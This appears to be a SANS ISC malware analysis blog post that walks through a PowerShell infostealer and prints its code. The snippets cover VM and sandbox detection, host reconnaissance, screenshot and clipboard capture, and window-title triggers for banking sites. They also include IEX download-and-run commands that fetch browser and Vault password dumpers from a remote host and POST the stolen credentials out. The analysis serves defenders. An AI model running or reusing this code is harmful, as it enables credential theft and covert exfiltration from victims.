Powershell is a great language that can interact at a low-level with Microsoft Windows. While hunting, I found a nice piece of Powershell code. After some deeper checks, it appeared that the code was not brand new but it remains interesting to learn how a malware infects (or not) a computer and tries to collect interesting data from the victim.

Notes:

1.The different snippets of code presented here are only for learning purposes

2. The code has been beautified

Usually, a malware will avoid to install itself on a virtualized environment (an automated sandbox or a security analyst's lab). A common way to detect a virtualized environment is to check BIOS values. Powershell can use query lot of operating system information through WMI[1].

function IsVirtual { $wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber $wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer $ResultProps = @{ ComputerName = $computer BIOSVersion = $wmibios.Version SerialNumber = $wmibios.serialnumber Manufacturer = $wmisystem.manufacturer Model = $wmisystem.model IsVirtual = $false VirtualType = $null } if ($wmibios.SerialNumber -like "*VMware*") { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - VMWare" } else { switch -wildcard ($wmibios.Version) { 'VIRTUAL' { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - Hyper-V" } 'A M I' { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - Virtual PC" } '*Xen*' { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - Xen" } } } if (-not $ResultProps.IsVirtual) { if ($wmisystem.manufacturer -like "*Microsoft*") { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - Hyper-V" } elseif ($wmisystem.manufacturer -like "*VMWare*") { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Virtual - VMWare" } elseif ($wmisystem.model -like "*Virtual*") { $ResultProps.IsVirtual = $true $ResultProps.VirtualType = "Unknown Virtual Machine" } } $results += New-Object PsObject -Property $ResultProps return $ResultProps.IsVirtual }

Another interesting control is to check the system uptime. A sandbox is rebooted before every new analysis. A very short uptime is suspicious:

function Get-SystemUptime ($computer = "$env:computername") { $lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi Win32_OperatingSystem).LastBootUpTime)") $uptime = (Get-Date) - $lastboot #Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds" return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s") }

Once installed, a MUTEX[2] is created to avoid multiple instance of the same malware to be installed:

function New-Mutex($MutexName) { #[CmdletBinding()][OutputType([PSObject])] #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName) $MutexWasCreated = $false $Mutex = $Null Write-Verbose "Waiting to acquire lock [$MutexName]..." [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading') try { $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName) } catch { $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated) } try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { } Write-Verbose "Lock [$MutexName] acquired. Executing..." Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex }) } New-Nutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")

It is useful to learn more about the victim, let’s grab some information about the computer and its network. You can also see how to detect if Powershell has admin rights and if the computer is a domain member.

$cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name } $vm = IsVirtual $ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString() $os = (Get-WmiObject -class Win32_OperatingSystem).Caption $os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture $uptime = Get-SystemUptime $ext_ip = (New-Object net.webclient).downloadstring("http://checkip.dyndns.com") -replace "[^\d\.]" $timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) { $rdp = $False } else { $rdp = $True } if($IsAdmin -ne $True){ if ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin = $True } } $wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('http://east.testmy.net/dl-100MB',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") { $domain = (gwmi win32_computersystem).domain.ToUpper() } else { $domain = 'nodomain’ }

Of course, screenshots are always interesting to collect sensitive data:

function Get-ScreenShot { $OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341" Add-Type -AssemblyName System.Windows.Forms $fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss') $path = Join-Path $ScreenshotPath $fileName $b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height) $g = [System.Drawing.Graphics]::FromImage($b) $g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size) $g.Dispose() $myEncoder = [System.Drawing.Imaging.Encoder]::Quality $encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) $encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20) $myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'} $b.Save($path,$myImageCodecInfo, $($encoderParams)) } Get-ScreenShot

The malware contains a password stealer for Firefox. It download another Powershell script that can decoded the Firefox passwords. Get-Foxdump is part of Empire framework[3]. Then the stolen credentials are exfiltrated to another website:

function GetFF { [...Redacted...] [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } & cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit" & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit" if (Test-Path "$env:temp\firefox.log") { $content = Get-Content $env:temp\firefox.log | Out-String $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content)) $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"} $log_json = $json | ConvertTo-Json $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json) [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog") $webRequest.ContentType = "application/json" $webRequest.Timeout = 10000 $webRequest.Method = "POST" $webRequest.ContentLength = $buffer.Length; $requestStream = $webRequest.GetRequestStream() $requestStream.Write($buffer, 0, $buffer.Length) $requestStream.Flush() $requestStream.Close() [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse() $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream()) $result = $streamReader.ReadToEnd() Remove-Item "$env:temp\firefox.log" } } -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version

The same function is implemented against Chrome. It calls the script Get-ChromeDump[4]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome';); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit”

And the Windows vault via Get-VaultCredential[5]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction

The next interesting function is Gclip() which monitors the clipboard and steal the content:

function Gclip { Start-Job -ScriptBlock { $PollInterval = 3 Add-Type -AssemblyName System.Windows.Forms # used to check if the contents have changed $PrevLength = 0 $PrevFirstChar = "" for(;;){ $tb = New-Object System.Windows.Forms.TextBox $tb.Multiline = $true $tb.Paste() # only output clipboard data if it's changed if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){ # if the length isn't 0, the length has changed, and the first character # has changed, assume the clipboard has changed # YES I know there might be edge cases :) if($PrevFirstChar -ne ($tb.Text)[0]){ $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode $PrevFirstChar = ($tb.Text)[0] $PrevLength = $tb.Text.Length } } Start-Sleep -s $PollInterval } } }

Interesting websites are monitored through the title of the window. If a title matches, a screenshot is taken:

if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') ` -or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')` -or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') ` -or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') ` -or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') ` -or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') ` -or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') ` -or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') ` -or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') ` -or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') ` -or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') ` -or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') ` -or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') ` -or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') ` -or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') ` -or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') ` -or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') ` -or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') ` -or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') ` -or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') ` -or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') ` -or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') ` -or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') ` -and (Test-Path "$env:TEMP\key.log")) { 1..20 | % { Get-ScreenShot Start-Sleep -Seconds 5 } }

These examples show that malicious code can also be written in a simple language and some of the techniques used to gather/exfiltrate information from the infected computer.

[1] https://msdn.microsoft.com/en-us/library/aa394582(v=vs.85).aspx

[2] https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/

[3] https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-FoxDump.ps1

[4] https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-ChromeDump.ps1

[5] https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1

Xavier Mertens (@xme)

ISC Handler - Freelance Security Consultant

PGP Key